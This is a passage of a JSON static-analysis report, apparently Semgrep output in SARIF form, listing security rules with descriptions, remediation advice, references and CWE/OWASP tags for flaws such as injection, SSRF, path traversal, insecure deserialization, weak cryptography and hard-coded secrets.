Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","id":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","name":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `encoding` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `encoding` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2)\n","text":"the `encoding` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2","id":"python.lang.compatibility.python36.python36-compatibility-Popen2","name":"python.lang.compatibility.python36.python36-compatibility-Popen2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Snyk API Key detected"},"help":{"markdown":"Snyk API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Snyk API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","id":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","name":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","id":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","name":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Database instance has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"Database instance has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Database instance has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","id":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","name":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","id":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","name":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","id":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","name":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve","id":"python.lang.file.tainted-shelve.tainted-shelve","name":"python.lang.file.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"help":{"markdown":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen","id":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","name":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","properties":{"precision":"very-high","tags":["CWE-131: Incorrect Calculation of Buffer Size","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.alloc-strlen.alloc-strlen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","id":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","name":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request)\n - [https://openjdk.java.net/groups/net/httpclient/intro.html](https://openjdk.java.net/groups/net/httpclient/intro.html)\n","text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpclient-http-request.httpclient-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","id":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","name":"python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-connection-flask.sqlalchemy-connection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath.tainted-xpath","id":"java.micronaut.xpath.tainted-xpath.tainted-xpath","name":"java.micronaut.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"help":{"markdown":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)\n","text":"The LosFormatter type is dangerous and is not recommended for data processing. Applications should stop using LosFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. LosFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.los-formatter.insecure-losformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","id":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","name":"python.fastapi.deserialization.tainted-pandas-hdf-fastapi.tainted-pandas-hdf-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 